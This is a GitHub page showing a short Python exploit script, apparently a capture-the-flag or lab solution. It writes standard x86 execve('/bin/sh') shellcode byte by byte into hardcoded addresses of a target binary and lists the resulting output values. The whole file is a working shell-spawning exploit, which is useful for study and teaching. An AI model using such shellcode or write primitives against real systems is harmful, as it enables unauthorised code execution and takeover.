Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
70 lines (63 sloc) 644 Bytes
sc = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
addr_start = 0x80485db-1
# Setup the loop
print(134514138)
print(194)
# Shellcode us.
for i, c in enumerate(sc[::-1]):
print(addr_start+len(sc)-i)
print(c)
#next i, c
# Junk
print(0x80489db)
print(0)
"""
134514138
194
134514162
128
134514161
205
134514160
11
134514159
176
134514158
225
134514157
137
134514156
83
134514155
80
134514154
227
134514153
137
134514152
110
134514151
105
134514150
98
134514149
47
134514148
104
134514147
104
134514146
115
134514145
47
134514144
47
134514143
104
134514142
80
134514141
192
134514140
49
"""